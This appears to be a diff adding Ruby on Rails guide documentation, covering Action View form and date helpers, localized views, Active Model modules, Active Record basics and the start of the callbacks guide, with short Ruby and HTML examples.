+select_year(Date.today, start_year: 1900, end_year: 2009)
+```
+
+#### time_ago_in_words
+
+Like `distance_of_time_in_words`, but where `to_time` is fixed to `Time.now`.
+
+```ruby
+time_ago_in_words(3.minutes.from_now) # => 3 minutes
+```
+
+#### time_select
+
+Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object.
+
+```ruby
+# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute
+time_select("order", "submitted")
+```
+
+### DebugHelper
+
+Returns a `pre` tag that has object dumped by YAML. This creates a very readable way to inspect an object.
+
+```ruby
+my_hash = {'first' => 1, 'second' => 'two', 'third' => [1,2,3]}
+debug(my_hash)
+```
+
+```html
+<pre class='debug_dump'>---
+first: 1
+second: two
+third:
+- 1
+- 2
+- 3
+</pre>
+```
+
+### FormHelper
+
+Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed bac [...]
+
+There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don't work with model attributes, check the ActionView::Helpers::FormTagHelper documentation.
+
+The core method of this helper, form_for, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it:
+
+```html+erb
+# Note: a @person variable will have been created in the controller (e.g. @person = Person.new)
+<%= form_for @person, url: {action: "create"} do |f| %>
+ <%= f.text_field :first_name %>
+ <%= f.text_field :last_name %>
+ <%= submit_tag 'Create' %>
+<% end %>
+```
+
+The HTML generated for this would be:
+
+```html
+<form action="/people/create" method="post">
+ <input id="person_first_name" name="person[first_name]" type="text" />
+ <input id="person_last_name" name="person[last_name]" type="text" />
+ <input name="commit" type="submit" value="Create" />
+</form>
+```
+
+The params object created when this form is submitted would look like:
+
+```ruby
+{"action" => "create", "controller" => "people", "person" => {"first_name" => "William", "last_name" => "Smith"}}
+```
+
+The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller.
+
+#### check_box
+
+Returns a checkbox tag tailored for accessing a specified attribute.
+
+```ruby
+# Let's say that @post.validated? is 1:
+check_box("post", "validated")
+# => <input type="checkbox" id="post_validated" name="post[validated]" value="1" />
+# <input name="post[validated]" type="hidden" value="0" />
+```
+
+#### fields_for
+
+Creates a scope around a specific model object like form_for, but doesn't create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form:
+
+```html+erb
+<%= form_for @person, url: {action: "update"} do |person_form| %>
+ First name: <%= person_form.text_field :first_name %>
+ Last name : <%= person_form.text_field :last_name %>
+
+ <%= fields_for @person.permission do |permission_fields| %>
+ Admin? : <%= permission_fields.check_box :admin %>
+ <% end %>
+<% end %>
+```
+
+#### file_field
+
+Returns a file upload input tag tailored for accessing a specified attribute.
+
+```ruby
+file_field(:user, :avatar)
+# => <input type="file" id="user_avatar" name="user[avatar]" />
+```
+
+#### form_for
+
+Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields.
+
+```html+erb
+<%= form_for @post do |f| %>
+ <%= f.label :title, 'Title' %>:
+ <%= f.text_field :title %><br />
+ <%= f.label :body, 'Body' %>:
+ <%= f.text_area :body %><br />
+<% end %>
+```
+
+#### hidden_field
+
+Returns a hidden input tag tailored for accessing a specified attribute.
+
+```ruby
+hidden_field(:user, :token)
+# => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
+```
+
+#### label
+
+Returns a label tag tailored for labelling an input field for a specified attribute.
+
+```ruby
+label(:post, :title)
+# => <label for="post_title">Title</label>
+```
+
+#### password_field
+
+Returns an input tag of the "password" type tailored for accessing a specified attribute.
+
+```ruby
+password_field(:login, :pass)
+# => <input type="text" id="login_pass" name="login[pass]" value="#{@login.pass}" />
+```
+
+#### radio_button
+
+Returns a radio button tag for accessing a specified attribute.
+
+```ruby
+# Let's say that @post.category returns "rails":
+radio_button("post", "category", "rails")
+radio_button("post", "category", "java")
+# => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
+# <input type="radio" id="post_category_java" name="post[category]" value="java" />
+```
+
+#### text_area
+
+Returns a textarea opening and closing tag set tailored for accessing a specified attribute.
+
+```ruby
+text_area(:comment, :text, size: "20x30")
+# => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
+# #{@comment.text}
+# </textarea>
+```
+
+#### text_field
+
+Returns an input tag of the "text" type tailored for accessing a specified attribute.
+
+```ruby
+text_field(:post, :title)
+# => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" />
+```
+
+### FormOptionsHelper
+
+Provides a number of methods for turning different kinds of containers into a set of option tags.
+
+#### collection_select
+
+Returns `select` and `option` tags for the collection of existing return values of `method` for `object`'s class.
+
+Example object structure for use with this method:
+
+```ruby
+class Post < ActiveRecord::Base
+ belongs_to :author
+end
+
+class Author < ActiveRecord::Base
+ has_many :posts
+ def name_with_initial
+ "#{first_name.first}. #{last_name}"
+ end
+end
+```
+
+Sample usage (selecting the associated Author for an instance of Post, `@post`):
+
+```ruby
+collection_select(:post, :author_id, Author.all, :id, :name_with_initial, {prompt: true})
+```
+
+If `@post.author_id` is 1, this would return:
+
+```html
+<select name="post[author_id]">
+ <option value="">Please select</option>
+ <option value="1" selected="selected">D. Heinemeier Hansson</option>
+ <option value="2">D. Thomas</option>
+ <option value="3">M. Clark</option>
+</select>
+```
+
+#### collection_radio_buttons
+
+Returns `radio_button` tags for the collection of existing return values of `method` for `object`'s class.
+
+Example object structure for use with this method:
+
+```ruby
+class Post < ActiveRecord::Base
+ belongs_to :author
+end
+
+class Author < ActiveRecord::Base
+ has_many :posts
+ def name_with_initial
+ "#{first_name.first}. #{last_name}"
+ end
+end
+```
+
+Sample usage (selecting the associated Author for an instance of Post, `@post`):
+
+```ruby
+collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial)
+```
+
+If `@post.author_id` is 1, this would return:
+
+```html
+<input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" />
+<label for="post_author_id_1">D. Heinemeier Hansson</label>
+<input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
+<label for="post_author_id_2">D. Thomas</label>
+<input id="post_author_id_3" name="post[author_id]" type="radio" value="3" />
+<label for="post_author_id_3">M. Clark</label>
+```
+
+#### collection_check_boxes
+
+Returns `check_box` tags for the collection of existing return values of `method` for `object`'s class.
+
+Example object structure for use with this method:
+
+```ruby
+class Post < ActiveRecord::Base
+ has_and_belongs_to_many :author
+end
+
+class Author < ActiveRecord::Base
+ has_and_belongs_to_many :posts
+ def name_with_initial
+ "#{first_name.first}. #{last_name}"
+ end
+end
+```
+
+Sample usage (selecting the associated Authors for an instance of Post, `@post`):
+
+```ruby
+collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial)
+```
+
+If `@post.author_ids` is [1], this would return:
+
+```html
+<input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" />
+<label for="post_author_ids_1">D. Heinemeier Hansson</label>
+<input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
+<label for="post_author_ids_2">D. Thomas</label>
+<input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" />
+<label for="post_author_ids_3">M. Clark</label>
+<input name="post[author_ids][]" type="hidden" value="" />
+```
+
+#### country_options_for_select
+
+Returns a string of option tags for pretty much any country in the world.
+
+#### country_select
+
+Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.
+
+#### option_groups_from_collection_for_select
+
+Returns a string of `option` tags, like `options_from_collection_for_select`, but groups them by `optgroup` tags based on the object relationships of the arguments.
+
+Example object structure for use with this method:
+
+```ruby
+class Continent < ActiveRecord::Base
+ has_many :countries
+ # attribs: id, name
+end
+
+class Country < ActiveRecord::Base
+ belongs_to :continent
+ # attribs: id, name, continent_id
+end
+```
+
+Sample usage:
+
+```ruby
+option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
+```
+
+Possible output:
+
+```html
+<optgroup label="Africa">
+ <option value="1">Egypt</option>
+ <option value="4">Rwanda</option>
+ ...
+</optgroup>
+<optgroup label="Asia">
+ <option value="3" selected="selected">China</option>
+ <option value="12">India</option>
+ <option value="5">Japan</option>
+ ...
+</optgroup>
+```
+
+Note: Only the `optgroup` and `option` tags are returned, so you still have to wrap the output in an appropriate `select` tag.
+
+#### options_for_select
+
+Accepts a container (hash, array, enumerable, your type) and returns a string of option tags.
+
+```ruby
+options_for_select([ "VISA", "MasterCard" ])
+# => <option>VISA</option> <option>MasterCard</option>
+```
+
+Note: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag.
+
+#### options_from_collection_for_select
+
+Returns a string of option tags that have been compiled by iterating over the `collection` and assigning the result of a call to the `value_method` as the option value and the `text_method` as the option text.
+
+```ruby
+# options_from_collection_for_select(collection, value_method, text_method, selected = nil)
+```
+
+For example, imagine a loop iterating over each person in @project.people to generate an input tag:
+
+```ruby
+options_from_collection_for_select(@project.people, "id", "name")
+# => <option value="#{person.id}">#{person.name}</option>
+```
+
+Note: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag.
+
+#### select
+
+Create a select tag and a series of contained option tags for the provided object and method.
+
+Example:
+
+```ruby
+select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: true})
+```
+
+If `@post.person_id` is 1, this would become:
+
+```html
+<select name="post[person_id]">
+ <option value=""></option>
+ <option value="1" selected="selected">David</option>
+ <option value="2">Sam</option>
+ <option value="3">Tobias</option>
+</select>
+```
+
+#### time_zone_options_for_select
+
+Returns a string of option tags for pretty much any time zone in the world.
+
+#### time_zone_select
+
+Return select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags.
+
+```ruby
+time_zone_select( "user", "time_zone")
+```
+
+### FormTagHelper
+
+Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
+
+#### check_box_tag
+
+Creates a check box form input tag.
+
+```ruby
+check_box_tag 'accept'
+# => <input id="accept" name="accept" type="checkbox" value="1" />
+```
+
+#### field_set_tag
+
+Creates a field set for grouping HTML form elements.
+
+```html+erb
+<%= field_set_tag do %>
+ <p><%= text_field_tag 'name' %></p>
+<% end %>
+# => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
+```
+
+#### file_field_tag
+
+Creates a file upload field.
+
+```html+erb
+<%= form_tag {action: "post"}, {multipart: true} do %>
+ <label for="file">File to Upload</label> <%= file_field_tag "file" %>
+ <%= submit_tag %>
+<% end %>
+```
+
+Example output:
+
+```ruby
+file_field_tag 'attachment'
+# => <input id="attachment" name="attachment" type="file" />
+```
+
+#### form_tag
+
+Starts a form tag that points the action to an url configured with `url_for_options` just like `ActionController::Base#url_for`.
+
+```html+erb
+<%= form_tag '/posts' do %>
+ <div><%= submit_tag 'Save' %></div>
+<% end %>
+# => <form action="/posts" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
+```
+
+#### hidden_field_tag
+
+Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or data that should be hidden from the user.
+
+```ruby
+hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
+# => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
+```
+
+#### image_submit_tag
+
+Displays an image which when clicked will submit the form.

+image_submit_tag("login.png")
+# => <input src="/images/login.png" type="image" />
+```
+
+#### label_tag
+
+Creates a label field.
+
+```ruby
+label_tag 'name'
+# => <label for="name">Name</label>
+```
+
+#### password_field_tag
+
+Creates a password field, a masked text field that will hide the users input behind a mask character.
+
+```ruby
+password_field_tag 'pass'
+# => <input id="pass" name="pass" type="password" />
+```
+
+#### radio_button_tag
+
+Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options.
+
+```ruby
+radio_button_tag 'gender', 'male'
+# => <input id="gender_male" name="gender" type="radio" value="male" />
+```
+
+#### select_tag
+
+Creates a dropdown selection box.
+
+```ruby
+select_tag "people", "<option>David</option>"
+# => <select id="people" name="people"><option>David</option></select>
+```
+
+#### submit_tag
+
+Creates a submit button with the text provided as the caption.
+
+```ruby
+submit_tag "Publish this post"
+# => <input name="commit" type="submit" value="Publish this post" />
+```
+
+#### text_area_tag
+
+Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
+
+```ruby
+text_area_tag 'post'
+# => <textarea id="post" name="post"></textarea>
+```
+
+#### text_field_tag
+
+Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query.
+
+```ruby
+text_field_tag 'name'
+# => <input id="name" name="name" type="text" />
+```
+
+### JavaScriptHelper
+
+Provides functionality for working with JavaScript in your views.

+number_with_precision(111.2345, 2) # => 111.23
+```
+
+Localized Views
+---------------
+
+Action View has the ability render different templates depending on the current locale.
+
+For example, suppose you have a Posts controller with a show action. By default, calling this action will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/posts/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.
+
+You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages.
+
+Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to `app/controllers/application.rb`:
+
+```ruby
+before_action :set_expert_locale
+
+def set_expert_locale
+ I18n.locale = :expert if current_user.expert?
+end
+```
+
+Then you could create special views like `app/views/posts/show.expert.html.erb` that would only be displayed to expert users.
+
+You can read more about the Rails Internationalization (I18n) API [here](i18n.html).
+
+Using Action View outside of Rails
+----------------------------------
+
+Action View is a Rails component, but it can also be used without Rails. We can demonstrate this by creating a small [Rack](http://rack.rubyforge.org/) application that includes Action View functionality. This may be useful, for example, if you'd like access to Action View's helpers in a Rack application.
+
+Let's start by ensuring that you have the Action Pack and Rack gems installed:
+
+```bash
+$ gem install actionpack
+$ gem install rack
+```
+
+Now we'll create a simple "Hello World" application that uses the `titleize` method provided by Active Support.
+
+**hello_world.rb:**
+
+```ruby
+require 'active_support/core_ext/string/inflections'
+require 'rack'
+
+def hello_world(env)
+ [200, {"Content-Type" => "text/html"}, "hello world".titleize]
+end
+
+Rack::Handler::Mongrel.run method(:hello_world), Port: 4567
+```
+
+We can see this all come together by starting up the application and then visiting `http://localhost:4567/`
+
+```bash
+$ ruby hello_world.rb
+```
+
+TODO needs a screenshot? I have one - not sure where to put it.
+
+Notice how 'hello world' has been converted into 'Hello World' by the `titleize` helper method.
+
+Action View can also be used with [Sinatra](http://www.sinatrarb.com/) in the same way.
+
+Let's start by ensuring that you have the Action Pack and Sinatra gems installed:
+
+```bash
+$ gem install actionpack
+$ gem install sinatra
+```
+
+Now we'll create the same "Hello World" application in Sinatra.
+
+**hello_world.rb:**
+
+```ruby
+require 'action_view'
+require 'sinatra'
+
+get '/' do
+ erb 'hello world'.titleize
+end
+```
+
+Then, we can run the application:
+
+```bash
+$ ruby hello_world.rb
+```
+
+Once the application is running, you can see Sinatra and Action View working together by visiting `http://localhost:4567/`
+
+TODO needs a screenshot? I have one - not sure where to put it.

+Active Model Basics
+===================
+
+This guide should provide you with all you need to get started using model classes. Active Model allows for Action Pack helpers to interact with non-Active Record models. Active Model also helps building custom ORMs for use outside of the Rails framework.
+
+After reading this guide, you will know:
+
+--------------------------------------------------------------------------------
+
+Introduction
+------------
+
+Active Model is a library containing various modules used in developing frameworks that need to interact with the Rails Action Pack library. Active Model provides a known set of interfaces for usage in classes. Some of modules are explained below.
+
+### AttributeMethods
+
+The AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes, which methods on the object will use them.
+
+```ruby
+class Person
+ include ActiveModel::AttributeMethods
+
+ attribute_method_prefix 'reset_'
+ attribute_method_suffix '_highest?'
+ define_attribute_methods 'age'
+
+ attr_accessor :age
+
+ private
+ def reset_attribute(attribute)
+ send("#{attribute}=", 0)
+ end
+
+ def attribute_highest?(attribute)
+ send(attribute) > 100
+ end
+end
+
+person = Person.new
+person.age = 110
+person.age_highest? # true
+person.reset_age # 0
+person.age_highest? # false
+```
+
+### Callbacks
+
+Callbacks gives Active Record style callbacks. This provides the ability to define the callbacks and those will run at appropriate time. After defining a callbacks you can wrap with before, after and around custom methods.
+
+```ruby
+class Person
+ extend ActiveModel::Callbacks
+
+ define_model_callbacks :update
+
+ before_update :reset_me
+
+ def update
+ run_callbacks(:update) do
+ # This will call when we are trying to call update on object.
+ end
+ end
+
+ def reset_me
+ # This method will call when you are calling update on object as a before_update callback as defined.
+ end
+end
+```
+
+### Conversion
+
+If a class defines `persisted?` and `id` methods then you can include `Conversion` module in that class and you can able to call Rails conversion methods to objects of that class.
+
+```ruby
+class Person
+ include ActiveModel::Conversion
+
+ def persisted?
+ false
+ end
+
+ def id
+ nil
+ end
+end
+
+person = Person.new
+person.to_model == person # => true
+person.to_key # => nil
+person.to_param # => nil
+```
+
+### Dirty
+
+An object becomes dirty when it has gone through one or more changes to its attributes and has not been saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Let's consider a Person class with attributes `first_name` and `last_name`:
+
+```ruby
+require 'active_model'
+
+class Person
+ include ActiveModel::Dirty
+ define_attribute_methods :first_name, :last_name
+
+ def first_name
+ @first_name
+ end
+
+ def first_name=(value)
+ first_name_will_change!
+ @first_name = value
+ end
+
+ def last_name
+ @last_name
+ end
+
+ def last_name=(value)
+ last_name_will_change!
+ @last_name = value
+ end
+
+ def save
+ @previously_changed = changes
+ # do save work...
+ end
+end
+```
+
+#### Querying object directly for its list of all changed attributes.
+
+```ruby
+person = Person.new
+person.changed? # => false
+
+person.first_name = "First Name"
+person.first_name # => "First Name"
+
+# returns if any attribute has changed.
+person.changed? # => true
+
+# returns a list of attributes that have changed before saving.
+person.changed # => ["first_name"]
+
+# returns a hash of the attributes that have changed with their original values.
+person.changed_attributes # => {"first_name"=>nil}
+
+# returns a hash of changes, with the attribute names as the keys, and the values will be an array of the old and new value for that field.
+person.changes # => {"first_name"=>[nil, "First Name"]}
+```
+
+#### Attribute based accessor methods
+
+Track whether the particular attribute has been changed or not.
+
+```ruby
+# attr_name_changed?
+person.first_name # => "First Name"
+person.first_name_changed? # => true
+```
+
+Track what was the previous value of the attribute.
+
+```ruby
+# attr_name_was accessor
+person.first_name_was # => "First Name"
+```
+
+Track both previous and current value of the changed attribute. Returns an array if changed, else returns nil.
+
+```ruby
+# attr_name_change
+person.first_name_change # => [nil, "First Name"]
+person.last_name_change # => nil
+```
+
+### Validations
+
+Validations module adds the ability to class objects to validate them in Active Record style.
+
+```ruby
+class Person
+ include ActiveModel::Validations
+
+ attr_accessor :name, :email, :token
+
+ validates :name, presence: true
+ validates_format_of :email, with: /\A([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})\z/i
+ validates! :token, presence: true
+end
+
+person = Person.new(token: "2b1f325")
+person.valid? # => false
+person.name = 'vishnu'
+person.email = 'me'
+person.valid? # => false
+person.email = 'me at vishnuatrai.com'
+person.valid? # => true
+person.token = nil
+person.valid? # => raises ActiveModel::StrictValidationFailed
+```

+Active Record Basics
+====================
+
+This guide is an introduction to Active Record.
+
+After reading this guide, you will know:
+
+* What Object Relational Mapping and Active Record are and how they are used in
+ Rails.
+* How Active Record fits into the Model-View-Controller paradigm.
+* How to use Active Record models to manipulate data stored in a relational
+ database.
+* Active Record schema naming conventions.
+* The concepts of database migrations, validations and callbacks.
+
+--------------------------------------------------------------------------------
+
+What is Active Record?
+----------------------
+
+Active Record is the M in [MVC](getting_started.html#the-mvc-architecture) - the
+model - which is the layer of the system responsible for representing business
+data and logic. Active Record facilitates the creation and use of business
+objects whose data requires persistent storage to a database. It is an
+implementation of the Active Record pattern which itself is a description of an
+Object Relational Mapping system.
+
+### The Active Record Pattern
+
+[Active Record was described by Martin Fowler](http://www.martinfowler.com/eaaCatalog/activeRecord.html)
+in his book _Patterns of Enterprise Application Architecture_. In
+Active Record, objects carry both persistent data and behavior which
+operates on that data. Active Record takes the opinion that ensuring
+data access logic is part of the object will educate users of that
+object on how to write to and read from the database.
+
+### Object Relational Mapping
+
+Object-Relational Mapping, commonly referred to as its abbreviation ORM, is
+a technique that connects the rich objects of an application to tables in
+a relational database management system. Using ORM, the properties and
+relationships of the objects in an application can be easily stored and
+retrieved from a database without writing SQL statements directly and with less
+overall database access code.
+
+### Active Record as an ORM Framework
+
+Active Record gives us several mechanisms, the most important being the ability
+to:
+
+* Represent models and their data
+* Represent associations between these models
+* Represent inheritance hierarchies through related models
+* Validate models before they get persisted to the database
+* Perform database operations in an object-oriented fashion.
+
+Convention over Configuration in Active Record
+----------------------------------------------
+
+When writing applications using other programming languages or frameworks, it
+may be necessary to write a lot of configuration code. This is particularly true
+for ORM frameworks in general. However, if you follow the conventions adopted by
+Rails, you'll need to write very little configuration (in some case no
+configuration at all) when creating Active Record models. The idea is that if
+you configure your applications in the very same way most of the times then this
+should be the default way. In this cases, explicit configuration would be needed
+only in those cases where you can't follow the conventions for any reason.
+
+### Naming Conventions
+
+By default, Active Record uses some naming conventions to find out how the
+mapping between models and database tables should be created. Rails will
+pluralize your class names to find the respective database table. So, for
+a class `Book`, you should have a database table called **books**. The Rails
+pluralization mechanisms are very powerful, being capable to pluralize (and
+singularize) both regular and irregular words. When using class names composed
+of two or more words, the model class name should follow the Ruby conventions,
+using the CamelCase form, while the table name must contain the words separated
+by underscores. Examples:
+
+* Database Table - Plural with underscores separating words (e.g., `book_clubs`)
+* Model Class - Singular with the first letter of each word capitalized (e.g.,
+`BookClub`)
+
+| Model / Class | Table / Schema |
+| ------------- | -------------- |
+| `Post` | `posts` |
+| `LineItem` | `line_items` |
+| `Deer` | `deer` |
+| `Mouse` | `mice` |
+| `Person` | `people` |
+
+
+### Schema Conventions
+
+Active Record uses naming conventions for the columns in database tables,
+depending on the purpose of these columns.
+
+* **Foreign keys** - These fields should be named following the pattern
+ `singularized_table_name_id` (e.g., `item_id`, `order_id`). These are the
+ fields that Active Record will look for when you create associations between
+ your models.
+* **Primary keys** - By default, Active Record will use an integer column named
+ `id` as the table's primary key. When using [Rails
+ Migrations](migrations.html) to create your tables, this column will be
+ automatically created.
+
+There are also some optional column names that will create additional features
+to Active Record instances:
+
+* `created_at` - Automatically gets set to the current date and time when the
+ record is first created.
+* `updated_at` - Automatically gets set to the current date and time whenever
+ the record is updated.
+* `lock_version` - Adds [optimistic
+ locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to
+ a model.
+* `type` - Specifies that the model uses [Single Table
+ Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html)
+* `(association_name)_type` - Stores the type for
+ [polymorphic associations](association_basics.html#polymorphic-associations).
+* `(table_name)_count` - Used to cache the number of belonging objects on
+ associations. For example, a `comments_count` column in a `Post` class that
+ has many instances of `Comment` will cache the number of existent comments
+ for each post.
+
+NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, `type` is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
+
+Creating Active Record Models
+-----------------------------
+
+It is very easy to create Active Record models. All you have to do is to
+subclass the `ActiveRecord::Base` class and you're good to go:
+
+```ruby
+class Product < ActiveRecord::Base
+end
+```
+
+This will create a `Product` model, mapped to a `products` table at the
+database. By doing this you'll also have the ability to map the columns of each
+row in that table with the attributes of the instances of your model. Suppose
+that the `products` table was created using an SQL sentence like:
+
+```sql
+CREATE TABLE products (
+ id int(11) NOT NULL auto_increment,
+ name varchar(255),
+ PRIMARY KEY (id)
+);
+```
+
+Following the table schema above, you would be able to write code like the
+following:
+
+```ruby
+p = Product.new
+p.name = "Some Book"
+puts p.name # "Some Book"
+```
+
+Overriding the Naming Conventions
+---------------------------------
+
+What if you need to follow a different naming convention or need to use your
+Rails application with a legacy database? No problem, you can easily override
+the default conventions.
+
+You can use the `ActiveRecord::Base.table_name=` method to specify the table
+name that should be used:
+
+```ruby
+class Product < ActiveRecord::Base
+ self.table_name = "PRODUCT"
+end
+```
+
+If you do so, you will have to define manually the class name that is hosting
+the fixtures (class_name.yml) using the `set_fixture_class` method in your test
+definition:
+
+```ruby
+class FunnyJoke < ActiveSupport::TestCase
+ set_fixture_class funny_jokes: 'Joke'
+ fixtures :funny_jokes
+ ...
+end
+```
+
+It's also possible to override the column that should be used as the table's
+primary key using the `ActiveRecord::Base.set_primary_key` method:
+
+```ruby
+class Product < ActiveRecord::Base
+ set_primary_key "product_id"
+end
+```
+
+CRUD: Reading and Writing Data
+------------------------------
+
+CRUD is an acronym for the four verbs we use to operate on data: **C**reate,
+**R**ead, **U**pdate and **D**elete. Active Record automatically creates methods
+to allow an application to read and manipulate data stored within its tables.
+
+### Create
+
+Active Record objects can be created from a hash, a block or have their
+attributes manually set after creation. The `new` method will return a new
+object while `create` will return the object and save it to the database.
+
+For example, given a model `User` with attributes of `name` and `occupation`,
+the `create` method call will create and save a new record into the database:
+
+```ruby
+user = User.create(name: "David", occupation: "Code Artist")
+```
+
+Using the `new` method, an object can be instantiated without being saved:
+
+```ruby
+user = User.new
+user.name = "David"
+user.occupation = "Code Artist"
+```
+
+A call to `user.save` will commit the record to the database.
+
+Finally, if a block is provided, both `create` and `new` will yield the new
+object to that block for initialization:
+
+```ruby
+user = User.new do |u|
+ u.name = "David"
+ u.occupation = "Code Artist"
+end
+```
+
+### Read
+
+Active Record provides a rich API for accessing data within a database. Below
+are a few examples of different data access methods provided by Active Record.
+
+```ruby
+# return a collection with all users
+users = User.all
+```
+
+```ruby
+# return the first user
+user = User.first
+```
+
+```ruby
+# return the first user named David
+david = User.find_by_name('David')
+```
+
+```ruby
+# find all users named David who are Code Artists and sort by created_at in reverse chronological order
+users = User.where(name: 'David', occupation: 'Code Artist').order('created_at DESC')
+```
+
+You can learn more about querying an Active Record model in the [Active Record
+Query Interface](active_record_querying.html) guide.
+
+### Update
+
+Once an Active Record object has been retrieved, its attributes can be modified
+and it can be saved to the database.
+
+```ruby
+user = User.find_by_name('David')
+user.name = 'Dave'
+user.save
+```
+
+A shorthand for this is to use a hash mapping attribute names to the desired
+value, like so:
+
+```ruby
+user = User.find_by_name('David')
+user.update(name: 'Dave')
+```
+
+This is most useful when updating several attributes at once. If, on the other
+hand, you'd like to update several records in bulk, you may find the
+`update_all` class method useful:
+
+```ruby
+User.update_all "max_login_attempts = 3, must_change_password = 'true'"
+```
+
+### Delete
+
+Likewise, once retrieved an Active Record object can be destroyed which removes
+it from the database.
+
+```ruby
+user = User.find_by_name('David')
+user.destroy
+```
+
+Validations
+-----------
+
+Active Record allows you to validate the state of a model before it gets written
+into the database. There are several methods that you can use to check your
+models and validate that an attribute value is not empty, is unique and not
+already in the database, follows a specific format and many more.
+
+Validation is a very important issue to consider when persisting to database, so
+the methods `create`, `save` and `update` take it into account when
+running: they return `false` when validation fails and they didn't actually
+perform any operation on database. All of these have a bang counterpart (that
+is, `create!`, `save!` and `update!`), which are stricter in that
+they raise the exception `ActiveRecord::RecordInvalid` if validation fails.
+A quick example to illustrate:
+
+```ruby
+class User < ActiveRecord::Base
+ validates :name, presence: true
+end
+
+User.create # => false
+User.create! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+```
+
+You can learn more about validations in the [Active Record Validations
+guide](active_record_validations.html).
+
+Callbacks
+---------
+
+Active Record callbacks allow you to attach code to certain events in the
+life-cycle of your models. This enables you to add behavior to your models by
+transparently executing code when those events occur, like when you create a new
+record, update it, destroy it and so on. You can learn more about callbacks in
+the [Active Record Callbacks guide](active_record_callbacks.html).
+
+Migrations
+----------
+
+Rails provides a domain-specific language for managing a database schema called
+migrations. Migrations are stored in files which are executed against any
+database that Active Record support using `rake`. Here's a migration that
+creates a table:
+
+```ruby
+class CreatePublications < ActiveRecord::Migration
+ def change
+ create_table :publications do |t|
+ t.string :title
+ t.text :description
+ t.references :publication_type
+ t.integer :publisher_id
+ t.string :publisher_type
+ t.boolean :single_issue
+
+ t.timestamps
+ end
+ add_index :publications, :publication_type_id
+ end
+end
+```
+
+Rails keeps track of which files have been committed to the database and
+provides rollback features. To actually create the table, you'd run `rake db:migrate`
+and to roll it back, `rake db:rollback`.
+
+Note that the above code is database-agnostic: it will run in MySQL, postgresql,
+Oracle and others. You can learn more about migrations in the [Active Record
+Migrations guide](migrations.html)

+Active Record Callbacks
+=======================
+
+This guide teaches you how to hook into the life cycle of your Active Record
+objects.
+
+After reading this guide, you will know:
+
+* The life cycle of Active Record objects.
+* How to create callback methods that respond to events in the object life cycle.
+* How to create special classes that encapsulate common behavior for your callbacks.
+
+--------------------------------------------------------------------------------
+
+The Object Life Cycle
+---------------------
+
+During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this <em>object life cycle</em> so that you can control your application and its data.
+
+Callbacks allow you to trigger logic before or after an alteration of an object's state.
+
+Callbacks Overview
+------------------
+
+Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database.
+
+### Callback Registration
+
+In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks:
+
+```ruby
+class User < ActiveRecord::Base
+ validates :login, :email, presence: true
+
+ before_validation :ensure_login_has_a_value
+
+ protected
+ def ensure_login_has_a_value
+ if login.nil?
+ self.login = email unless email.blank?
+ end
+ end
+end
+```
+
